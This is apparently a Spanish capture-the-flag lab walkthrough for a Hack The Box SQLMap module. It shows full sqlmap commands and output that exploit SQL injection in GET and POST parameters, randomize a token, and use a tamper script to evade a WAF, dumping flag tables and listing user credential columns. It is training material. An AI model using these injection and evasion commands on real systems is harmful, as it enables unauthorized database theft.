[00:42:08] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[00:42:08] [INFO] fetching current database
[00:42:08] [INFO] fetching tables for database: 'testdb'
[00:42:09] [INFO] fetching columns for table 'flag8' in database 'testdb'
[00:42:09] [INFO] fetching entries for table 'flag8' in database 'testdb'
Database: testdb
Table: flag8
[1 entry]
+----+-----------------------------------+
| id | content                           |
+----+-----------------------------------+
| 1  | HTB{y0u_h4v3_bE3n_c5rf_70k3n1z3d} |
+----+-----------------------------------+

Pregunta 2

¿Cuál es el contenido de la tabla flag9? (Caso n.° 9)

Tenemos que detectar y explotar un SQLi en el parámetro id que se envía por GET, teniendo en cuenta el UID único:

No olvides especificar el nombre del parámetro que necesitas aleatorizar.

afsh4ck@kali$ sqlmap -u "http://83.136.251.65:30618/case9.php?id=1&uid=3386644662" --randomize=uid --batch --dump --random-agent 
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:16:05 /2024-08-14/

[11:16:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[11:16:05] [INFO] testing connection to the target URL
[11:16:05] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:16:05] [INFO] testing if the target URL content is stable
[11:16:06] [INFO] target URL content is stable
[11:16:06] [INFO] testing if GET parameter 'id' is dynamic
[11:16:06] [INFO] GET parameter 'id' appears to be dynamic
[11:16:06] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[11:16:06] [INFO] testing for SQL injection on GET parameter 'id'
[11:16:32] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[11:16:37] [INFO] fetching entries for table 'flag9' in database 'testdb'
Database: testdb
Table: flag9
[1 entry]
+----+---------------------------------------+
| id | content                               |
+----+---------------------------------------+
| 1  | HTB{700_mUch_r4nd0mn355_f0r_my_74573} |
+----+---------------------------------------+

Pregunta 3

¿Cuál es el contenido de la tabla flag10? (Caso n.° 10)

Tenemos que detectar y explotar un SQLi en un parámetro id que se envía por POST:

Capturamos la petición con Burpsuite y guardamos la petición en un archivo case10.req

afsh4ck@kali$ sqlmap -r /home/kali/Escritorio/case10.req --level=5 --risk=3 --dump --batch 
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:31:26 /2024-08-14/

[11:31:26] [INFO] parsing HTTP request from '/home/kali/Escritorio/case10.req'
[11:31:26] [INFO] testing connection to the target URL
[11:31:26] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:31:26] [INFO] testing if the target URL content is stable
[11:31:26] [INFO] target URL content is stable
[11:31:26] [INFO] testing if POST parameter 'id' is dynamic
[11:31:26] [INFO] POST parameter 'id' appears to be dynamic
[11:31:51] [INFO] target URL appears to have 9 columns in query
[11:31:51] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[11:31:52] [INFO] fetching current database
[11:31:52] [INFO] fetching tables for database: 'testdb'
[11:31:52] [INFO] fetching columns for table 'flag10' in database 'testdb'
[11:31:52] [INFO] fetching entries for table 'flag10' in database 'testdb'
Database: testdb
Table: flag10
[1 entry]
+----+----------------------------+
| id | content                    |
+----+----------------------------+
| 1  | HTB{y37_4n07h3r_r4nd0m1z3} |
+----+----------------------------+

Pregunta 4

¿Cuál es el contenido de la tabla flag11? (Caso n.° 11)

Según los datos proporcionados en la página, seleccione el script de manipulación adecuado para eludir las protecciones de la página.

Paso 1: Seleccionar un tamper script adecuado

Si encuentras que los caracteres < y > están bloqueados, prueba con un tamper script que transforme la inyección SQL para evitar esos caracteres. Un tamper scripts que podría funcionar es:

  • between: Usa BETWEEN en lugar de operadores como < o >.

Paso 2: Explotar SQLi con un Tamper Script

afsh4ck@kali$ sqlmap -u "http://83.136.251.65:30618/case11.php?id=1" --tamper=between --batch --dump --level=5 --risk=3
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:49:21 /2024-08-14/

[11:49:21] [INFO] loading tamper module 'between'
[11:49:21] [INFO] testing connection to the target URL
[11:49:21] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:49:21] [INFO] testing if the target URL content is stable
[11:49:21] [INFO] target URL content is stable
[11:49:21] [INFO] testing if GET parameter 'id' is dynamic
[11:49:22] [INFO] GET parameter 'id' appears to be dynamic
[11:49:22] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[11:51:16] [INFO] fetching current database
[11:51:16] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:51:16] [INFO] retrieved: testdb
[11:51:19] [INFO] fetching tables for database: 'testdb'
[11:51:19] [INFO] fetching number of tables for database 'testdb'
[11:51:19] [INFO] retrieved: 2
[11:51:19] [INFO] retrieved: users
[11:51:22] [INFO] retrieved: flag11
[11:51:26] [INFO] fetching columns for table 'users' in database 'testdb'
[11:51:26] [INFO] retrieved: 9
[11:51:26] [INFO] retrieved: id
[11:51:29] [INFO] retrieved: name
[11:51:31] [INFO] retrieved: birthday
[11:51:35] [INFO] retrieved: occupation
[11:51:40] [INFO] retrieved: address
[11:51:46] [INFO] retrieved: phone
[11:51:48] [INFO] retrieved: cc
[11:51:49] [INFO] retrieved: email
[11:51:52] [INFO] retrieved: password

Nos encontramos de que la enumeración de esta base de datos es muy lenta al hacer el dump completo, enconces vamos a hacer una query específica para extraer la flag 11:

afsh4ck@kali$ sqlmap -u "http://83.136.251.65:30618/case11.php?id=1" --tamper=between --dump -T flag11 -D testdb
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.4#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:58:23 /2024-08-14/

[11:58:23] [INFO] loading tamper module 'between'
[11:58:23] [INFO] resuming back-end DBMS 'mysql' 
[11:58:23] [INFO] testing connection to the target URL
[11:58:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL > 5.0.12 (MariaDB fork)
[11:58:23] [INFO] fetching columns for table 'flag11' in database 'testdb'
[11:58:23] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:58:23] [INFO] retrieved: 2
[11:58:23] [INFO] retrieved: id
[11:58:25] [INFO] retrieved: content
[11:58:28] [INFO] fetching entries for table 'flag11' in database 'testdb'
[11:58:28] [INFO] fetching number of entries for table 'flag11' in database 'testdb'
[11:58:28] [INFO] retrieved: 1
[11:58:29] [INFO] retrieved: HTB{5p3c14l_ch4r5_n0_m0r3}
[11:58:45] [INFO] retrieved: 1
Database: testdb
Table: flag11
[1 entry]
+----+----------------------------+
| id | content                    |
+----+----------------------------+
| 1  | HTB{5p3c14l_ch4r5_n0_mOr3} |
+----+----------------------------+

AnteriorSQLMap - Enumeración AvanzadaSiguienteSQLMap - Explotación de S.O.

Última actualización hace 9 meses

¿Te fue útil?

En caso de detección positiva, para identificar el mecanismo de protección real, SQLMap utiliza una biblioteca de terceros , que contiene las firmas de 80 soluciones WAF diferentes. Si quisiéramos omitir esta prueba heurística por completo (es decir, para producir menos ruido), podemos utilizar el switch --skip-waf.

Por ejemplo, uno de los scripts de manipulación es reemplazar todas las apariciones del operador mayor que ( >) con NOT BETWEEN 0 AND #, y el operador igual ( =) con BETWEEN # AND #. De esta manera, muchos mecanismos de protección primitivos (enfocados principalmente en prevenir ataques XSS) se pueden eludir fácilmente, al menos para propósitos de SQLi.

Los scripts de manipulación se pueden encadenar, uno tras otro, dentro de la opción --tamper (por ejemplo, --tamper=between,randomcase), donde se ejecutan según su prioridad predefinida. Se predefine una prioridad para evitar cualquier comportamiento no deseado, ya que algunos scripts modifican las cargas útiles modificando su sintaxis SQL (por ejemplo, ). Por el contrario, algunos scripts de manipulación no se preocupan por el contenido interno (por ejemplo, ).

identYwaf
más populares
ifnull2ifisnull
appendnullbyte
💣
💉
💉
💉
Page cover image